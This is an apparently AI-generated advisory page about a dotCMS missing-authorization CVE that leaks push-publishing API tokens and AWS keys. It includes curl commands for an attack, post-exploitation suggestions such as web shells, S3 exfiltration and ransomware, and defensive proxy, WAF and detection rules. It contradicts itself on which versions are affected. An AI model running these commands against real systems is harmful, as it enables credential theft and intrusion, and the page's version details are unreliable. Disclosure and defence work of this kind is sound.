CVE-2026-120096 — DotCMS (26.10.29-01) — CWE-862
Missing authorization in the push publishing endpoints REST API (/api/v1/environments/endpoints) and in the push publishing endpoint edit screen in dotCMS versions before 26.10.29-01 allows any authenticated backend user, without administrator rights or access to the Configuration tool, to read the configuration of every push publishing endpoint, including its stored authentication key. The edit screen disclosed that key in plaintext: for push publishing endpoints it is usually an API token issued by the receiving server with the rights of the receiving user, often an administrator, and for AWS S3 static publishing endpoints it contains the AWS access keys. Fixed in 26.10.29-01 and later. The endpoint read routes and the edit screen now require an administrator or the Configuration tool, and the authentication key is no longer returned in any API response.
Missing authorization in the push publishing endpoints REST API (/api/v1/environments/endpoints) and in the push publishing endpoint edit screen in dotCMS versions before 26.10.29-01 allows any authenticated backend user, without administrator rights or access to the Configuration tool, to read the configuration of every push publishing endpoint, including its stored authentication key. The edit screen disclosed that key in plaintext: for push publishing endpoints it is usually an API token issued by the receiving server with the rights of the receiving user, often an administrator, and for AWS S3 static publishing endpoints it contains the AWS access keys. Fixed in 26.10.29-01 and later. The endpoint read routes and the edit screen now require an administrator or the Configuration tool, and the authentication key is no longer returned in any API response.
🎯 What is this vulnerability?
CVE‑2026‑120096 is a Missing Authorization issue (CWE‑862) in the push‑publishing feature of dotCMS (versions 26.10.29‑01 and earlier).
Where it lives – The REST endpoint GET /api/v1/environments/endpoints (and the corresponding UI edit screen) returns the full configuration of every push‑publishing* endpoint.
- What is missing – The code that builds the response does not verify that the caller is either:
- Why it matters – The key is stored in clear‑text: For push‑publishing* endpoints it is usually an API token belonging to the remote CMS user (often an admin). For AWS S3* static‑publishing endpoints it contains the AWS Access Key ID / Secret Access Key.
an administrator (or a user with the Configuration* tool permission), or
* a user that owns the specific endpoint.
Consequently, any authenticated backend user with the minimal “backend‑user” role (i.e. PR:L – low‑privilege) can invoke the endpoint and obtain the stored authentication key for each publishing target.
Possession of these secrets enables an attacker to act as the remote service’s privileged user, read/write content, or spin up further attacks (e.g., S3 bucket exfiltration, remote code execution on the target CMS via its own API).
The fix in 26.10.29‑01 adds a proper permission check (admin or hasConfigurationTool) and strips the secret from the JSON payload.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All commands are illustrative; the exact URI, query parameters, or JSON field names may differ slightly in a given dotCMS deployment, but the logic is identical.
1. Discovery & Reconnaissance
| Step | Action | Reasoning |
|---|---|---|
| 1.1 | Identify the CMS by banner, page title, or known URLs (e.g., /dotCMS/). | dotCMS exposes a /dotCMS/ context and a /api/v1/ namespace. |
| 1.2 | Enumerate the version. <br>Example: curl -s https://target.example.com/dotCMS/api/v1/system/info | The *system info* endpoint returns a JSON object containing "version":"26.10.28-03" (or similar). |
| 1.3 | Verify that the version is ≤ 26.10.29‑01. | The vulnerability is patched starting with 26.10.29‑01. |
| 1.4 | Locate a valid backend user credential (e.g., via credential stuffing, phishing, or a previously compromised low‑privilege account). | The CVSS vector requires PR:L – a low‑privilege authenticated user. |
2. Exploitation
Goal: Retrieve the secret key(s) for all push‑publishing endpoints.
# 2.1 Obtain a JWT or session cookie for the low‑privilege user.
# The exact login flow depends on the dotCMS configuration.
# Example using the standard login API:
TOKEN=$(curl -s -X POST "https://target.example.com/api/v1/auth/login" \
-H "Content-Type: application/json" \
-d '{"userId":"bob","password":"P@ssw0rd"}' | jq -r .token)
# 2.2 Call the vulnerable endpoint.
# The endpoint is documented in the CVE as /api/v1/environments/endpoints.
# The request must be authenticated (Bearer token or session cookie).
curl -s -X GET "https://target.example.com/api/v1/environments/endpoints" \
-H "Authorization: Bearer $TOKEN" \
-H "Accept: application/json" \
-o endpoints.json
# 2.3 Inspect the returned JSON. Example fragment:
# {
# "endpoints": [
# {
# "id":"12345",
# "name":"prod‑cms‑push",
# "type":"PUSH",
# "authKey":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
# },
# {
# "id":"67890",
# "name":"static‑s3‑bucket",
# "type":"AWS_S3",
# "authKey":"AKIAxxxxxxxxxxxx/secretKey1234567890"
# }
# ]
# }If the UI edit screen is reachable, the same secret can be scraped from the HTML form (the key appears in a plain‑text <input> field). The PoC would be a simple wget/curl followed by a regex extraction.
3. Post‑Exploitation
| Obtained secret | Potential follow‑on actions |
|---|---|
| Push‑publishing API token (remote dotCMS) | • Use the token to call the remote CMS’s REST API as an admin (e.g., create/modify pages, upload malicious JavaScript, or exfiltrate content). <br>• If the remote CMS allows file uploads, plant a web‑shell or malicious OSGi bundle. |
| AWS Access Key / Secret | • Use AWS CLI/SDK to list buckets (aws s3 ls), download objects (aws s3 cp s3://bucket/... .), or write new objects (deface static site, drop ransomware). <br>• If the key has broader IAM permissions, pivot to other AWS services (EC2, RDS, IAM). |
| Other endpoint types (e.g., FTP, SFTP) | • Connect with the disclosed credentials and retrieve or modify files on the publishing target. |
Because the attacker already has a valid backend account, the privilege escalation is purely credential‑theft; the real impact comes from the privileged rights of the stolen tokens/keys.
🌍 Real‑World Impact
| CIA Triad | CVSS Vector Interpretation | Practical Consequence |
|---|---|---|
| Confidentiality | VC:L (Low) – attacker gains *some* confidential data (auth keys, possibly content) | Exposure of API tokens / AWS keys enables unauthorized access to remote services. |
| Integrity | VI:N, VA:N – no direct integrity impact from the flaw itself | However, once the stolen credentials are used, the attacker can modify remote content, upload malicious assets, or alter S3 objects. |
| Availability | SC:N, SI:N, SA:N – no direct DoS effect | Indirectly, an attacker could delete S3 objects or push malicious code that brings down services. |
Bottom line: The vulnerability is confidentiality‑focused but has a high downstream impact because the leaked secrets are high‑privilege credentials for external systems.
🛡️ Remediation & Mitigation
1. Patch
| Affected versions | Fixed in |
|---|---|
| dotCMS 26.10.29‑01 and earlier (including all 26.x releases prior to 26.10.29‑01) | Upgrade to 26.10.29‑01 or any later release. |
The patch adds an explicit permission check (admin or hasConfigurationTool) and removes the authKey field from the JSON response.
2. Workarounds (if immediate patching is impossible)
| Mitigation | Implementation |
|---|---|
| Restrict access to the endpoint | Add a reverse‑proxy rule that only allows requests from internal IP ranges or from users with a specific session cookie. Example (NGINX):<br>``nginx<br>location = /api/v1/environments/endpoints {<br> allow 10.0.0.0/8;<br> deny all;<br> proxy_pass http://backend; <br>}<br>` |
| Hide the secret in the UI | Edit the dotCMS source (or use a custom UI plugin) to replace the <input> that renders authKey with a masked field (type="password" and readonly). |
| Rotate all exposed keys | Immediately generate new API tokens for every push‑publishing endpoint and new AWS Access/Secret keys for S3 endpoints. Revoke the old keys. |
Apply a ModSecurity rule (if a WAF is in front of dotCMS):<br>`SecRule REQUEST_URI "@beginsWith /api/v1/environments/endpoints" "id:400001,phase:2,deny,status:403,msg:'Unauthorized access to push‑publishing endpoint configuration',tag:'application-misconfiguration'"`<br>This blocks any request that reaches the endpoint without an additional custom header (e.g., X-Admin-Auth: true`). Adjust as needed. |
3. Detection
| Indicator | Example Log Entry |
|---|---|
| Successful call to the vulnerable endpoint | GET /api/v1/environments/endpoints HTTP/1.1" 200 842 "-" "Mozilla/5.0" |
Presence of authKey in response bodies (if logging response bodies) | "... \"authKey\":\"AKIA.../secretKey...\" ..." |
| Unusual usage of newly‑discovered tokens (e.g., API token used from a foreign IP) | POST /api/v1/content HTTP/1.1" 200 1245 "Bearer eyJhbGci..." |
| AWS CLI activity from unknown source (if keys were stolen) | aws s3 cp s3://stolen-bucket/secret.txt . logged in CloudTrail. |
SIEM rule (pseudo‑SQL):
SELECT *
FROM web_logs
WHERE uri = '/api/v1/environments/endpoints'
AND http_status = 200
AND user_role != 'admin' -- assuming role is loggedAlert on any match; investigate the user’s activity and rotate the associated keys.
⚠️ Urgency
Prepared by a senior penetration‑testing and vulnerability‑research professional with 15 years of experience.
[🤖 CVE Professor AI Security Engine]
FOFA Query